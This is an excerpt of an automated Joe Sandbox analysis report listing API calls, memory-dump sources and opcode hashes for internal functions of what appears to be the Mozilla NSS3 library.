Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CF39EBC), ref: 6CE21FB8
SEC_ASN1EncodeItem_Util.NSS3(6CF39E9C,?,?,6CF39E9C), ref: 6CE2200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE22020

Part of subcall function 6CE16A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE1AD50,?,?), ref: 6CE16A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE22030

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: d45e2196014871f65a7bef4f97f42b5e70aaa531077c6bab5bc995d582b5b65d
Instruction ID: 0f180ea795eb547636891eb14c4838fd09c4d0a9c154ac3240b3596b8b41bab0
Opcode Fuzzy Hash: d45e2196014871f65a7bef4f97f42b5e70aaa531077c6bab5bc995d582b5b65d
Instruction Fuzzy Hash: AA212775901501BBE7104A55DC01FAAB778FF5232CF340215E83892F80E736EA28C7A1

Function 6CE11DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE11E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE11E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE11E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE11E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE11EAD

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 3d88dba8802313cb6e645c87eed94f3367854a44cb3189d29c8cf00dea225d38
Instruction ID: b73bdd79d299085b94b3208a6a73b7c638e76d2cd3d0731d2a872f1ec84306c9
Opcode Fuzzy Hash: 3d88dba8802313cb6e645c87eed94f3367854a44cb3189d29c8cf00dea225d38
Instruction Fuzzy Hash: C921D372E08715A7D7008EE8DC40B9B73B49B95368F24463CED6957B80E730D919C7E2

Function 6CF21E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF21E5C

Part of subcall function 6CED9BF0: TlsGetValue.KERNEL32(?,?,?,6CF20A75), ref: 6CED9C07

PR_Lock.NSS3(00000000), ref: 6CF21E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF21EAB
PR_GetCurrentThread.NSS3 ref: 6CF21ED0
PR_Unlock.NSS3(?), ref: 6CF21EE8

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 17603b3f6e09c6ec74442f3651bce394e599990e709063c94ea1b43e3ff49421
Instruction ID: d1cd2baaf48d89444efc15ce7bec2495ba67d0d6d5d125052cef12a72b060f99
Opcode Fuzzy Hash: 17603b3f6e09c6ec74442f3651bce394e599990e709063c94ea1b43e3ff49421
Instruction Fuzzy Hash: 6821C175A14A129BD710CF59DC40A86B7B0FF44728B25C229D8159BB40D732FD21CBD9

Function 6CE6BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE1E708,00000000,00000000,00000004,00000000), ref: 6CE6BE6A

Part of subcall function 6CE70840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE708B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE204DC,?), ref: 6CE6BE7E

Part of subcall function 6CE6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE68D2D,?,00000000,?), ref: 6CE6FB85
Part of subcall function 6CE6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE6FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE6BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE204DC,?,?), ref: 6CE6BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE6BEEB

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 3c123edfdfbe0b0d0c9f9488f4761c910821516e597916a7347c2d9c8d6ebcb7
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: B0113466EA420967E7008967AD91F27737D9B4175CF340025FE04C2F62E731D80497E1

Function 6CE1AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE13FFF,00000000,?,?,?,?,?,6CE11A1C,00000000,00000000), ref: 6CE1ADA7

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE13FFF,00000000,?,?,?,?,?,6CE11A1C,00000000,00000000), ref: 6CE1ADB4

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE13FFF,?,?,?,?,6CE13FFF,00000000,?,?,?,?,?,6CE11A1C,00000000), ref: 6CE1ADD5

Part of subcall function 6CE6FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE68D2D,?,00000000,?), ref: 6CE6FB85
Part of subcall function 6CE6FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE6FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF394B0,?,?,?,?,?,?,?,?,6CE13FFF,00000000,?), ref: 6CE1ADEC

Part of subcall function 6CE6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF418D0,?), ref: 6CE6B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE13FFF), ref: 6CE1AE3C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 417c475ffdc537b181796c484bd339a747c7c2cc3e68d6426d9ccacf6bfb3fe7
Instruction ID: eb38f3e8b4da7ce04be9b1a1271cc8cec03b2926eacb726c987dcd71bd4104cb
Opcode Fuzzy Hash: 417c475ffdc537b181796c484bd339a747c7c2cc3e68d6426d9ccacf6bfb3fe7
Instruction Fuzzy Hash: CE112672E043156BE7109A659C41BFF73B8DF9124CF24422CEC5996B41FB20E96DC2E2

Function 6CE28FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CE30710), ref: 6CE28FF1
PR_CallOnce.NSS3(6CF72158,6CE29150,00000000,?,?,?,6CE29138,?,6CE30710), ref: 6CE29029
calloc.MOZGLUE(00000001,00000000,?,?,6CE30710), ref: 6CE2904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CE30710), ref: 6CE29066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CE30710), ref: 6CE29078

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ea6d1def9d935bddbc985ae337be3144c71c4bcc52738e1f25b2c4168f45f88a
Instruction ID: ecf377ede531fa02f19b062440cc212d4fc7420fff4633763c9c91a94d79df50
Opcode Fuzzy Hash: ea6d1def9d935bddbc985ae337be3144c71c4bcc52738e1f25b2c4168f45f88a
Instruction Fuzzy Hash: 9311E521B1012957EB2026A9AC04F66B2B8EB827ACF640135FC94C6B41F79BCD5583B1

Function 6CE3CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CE51E10: TlsGetValue.KERNEL32 ref: 6CE51E36
Part of subcall function 6CE51E10: EnterCriticalSection.KERNEL32(?,?,?,6CE2B1EE,2404110F,?,?), ref: 6CE51E4B
Part of subcall function 6CE51E10: PR_Unlock.NSS3 ref: 6CE51E76

free.MOZGLUE(?,6CE3D079,00000000,00000001), ref: 6CE3CDA5
PK11_FreeSymKey.NSS3(?,6CE3D079,00000000,00000001), ref: 6CE3CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE3D079,00000000,00000001), ref: 6CE3CDCF
DeleteCriticalSection.KERNEL32(?,6CE3D079,00000000,00000001), ref: 6CE3CDE2
free.MOZGLUE(?), ref: 6CE3CDE9

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: e0501305c4268f3e0d6e593a78a528a44178933102f6ed6ef46f845d45f27336
Instruction ID: 8a5a1ede94c149ba0be9caf98a5be7c4919016c6a6f6c5621d06c1544e97f9d4
Opcode Fuzzy Hash: e0501305c4268f3e0d6e593a78a528a44178933102f6ed6ef46f845d45f27336
Instruction Fuzzy Hash: DF119EB2B01121ABDE01AAA6EC44AA6B778BF0425D7600221F91D87E01E732F434C7E1

Function 6CE73D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CE738A2), ref: 6CE73DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CE738A2), ref: 6CE73DBF

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CE738A2), ref: 6CE73DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6CE738A2), ref: 6CE73DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6CE738A2), ref: 6CE73DF8

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: a83a8056c7c69193d4954bad5ce28a34b4b9d4ad5d683f81ff0f79fbbb324ed9
Instruction ID: 7d0ba0fc354fb4293a01bd2c49b4bfb5087c097264f6b72c75a41bb1018a9a46
Opcode Fuzzy Hash: a83a8056c7c69193d4954bad5ce28a34b4b9d4ad5d683f81ff0f79fbbb324ed9
Instruction Fuzzy Hash: 6E01A2B5B152223BFF6056766C49E7B397CDB426ACB340235FD39DA680EA518C10C1F1

Function 6CEA2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEA5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA2CEC

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEA2D02
PR_EnterMonitor.NSS3(?), ref: 6CEA2D1F
PR_ExitMonitor.NSS3(?), ref: 6CEA2D42
PR_ExitMonitor.NSS3(?), ref: 6CEA2D5B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: dfbda27a5605049d249232297a8db378a39646b3a2ce1022f356de09e8a9103a
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: C00104B5A106406FE6309E66FC40BC7B3B1EF51318F214529E85E9A721E732F8178793

Function 6CEA2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEA5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA2D9C

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEA2DB2
PR_EnterMonitor.NSS3(?), ref: 6CEA2DCF
PR_ExitMonitor.NSS3(?), ref: 6CEA2DF2
PR_ExitMonitor.NSS3(?), ref: 6CEA2E0B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 1d6ee85d1e1b4c6956c945a9b3f502158517704fc6e7db6b94ecccb39a2cbc09
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: FE01A1B5A006006FEA309E66FC41BC7B7B1EF61318F244439E85D9AB11D732F8268693

Function 6CE3AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE23090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE3AE42), ref: 6CE230AA
Part of subcall function 6CE23090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE230C7
Part of subcall function 6CE23090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE230E5
Part of subcall function 6CE23090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE23116
Part of subcall function 6CE23090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE2312B
Part of subcall function 6CE23090: PK11_DestroyObject.NSS3(?,?), ref: 6CE23154
Part of subcall function 6CE23090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE2317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE199FF,?,?,?,?,?,?,?,?,?,6CE12D6B,?), ref: 6CE3AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE199FF,?,?,?,?,?,?,?,?,?,6CE12D6B,?), ref: 6CE3AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE12D6B,?,?,00000000), ref: 6CE3AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE12D6B,?,?,00000000), ref: 6CE3AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE12D6B,?,?), ref: 6CE3AEA3

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: a237fd2b8b159058b1259e08e60ba9661ebaab4cc0a40b5b434ded4ead2c9f1f
Instruction ID: e98df23e214f553e4ee92a614e104391e3f182a11a7f01be8118c65fb0c40924
Opcode Fuzzy Hash: a237fd2b8b159058b1259e08e60ba9661ebaab4cc0a40b5b434ded4ead2c9f1f
Instruction Fuzzy Hash: 9E01D676B9403057EF0151EEAC85BAB31788B8765CB281035E80DC7B81F61AE9C683A2

Function 6CF2BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF27AFE,?,?,?,?,?,?,?,?,6CF2798A), ref: 6CF2BDC3
free.MOZGLUE(?,?,6CF27AFE,?,?,?,?,?,?,?,?,6CF2798A), ref: 6CF2BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF27AFE,?,?,?,?,?,?,?,?,6CF2798A), ref: 6CF2BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF27AFE,?,?,?,?,?,?,?,?,6CF2798A), ref: 6CF2BE21
free.MOZGLUE(00000000,00000000,?,6CF27AFE,?,?,?,?,?,?,?,?,6CF2798A), ref: 6CF2BE32

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 83d074be85e077312c7ffbdc8d4085dff2779d89e9983c576e77b37b249b5f19
Instruction ID: 7c36a4f79bb712280a0aa5ea519feb93990e7094fac6eb89cfa85bd1d279fbff
Opcode Fuzzy Hash: 83d074be85e077312c7ffbdc8d4085dff2779d89e9983c576e77b37b249b5f19
Instruction Fuzzy Hash: 761148B2F21220CFDF82DF69E80DB423BB4FB0A244B440429D98AC7300E332A414CBB1

Function 6CE73E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6CE73975), ref: 6CE73E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6CE73975), ref: 6CE73E38

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6CE73975), ref: 6CE73E52
DeleteFileW.KERNEL32(00000000), ref: 6CE73E5D
free.MOZGLUE(00000000), ref: 6CE73E64

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

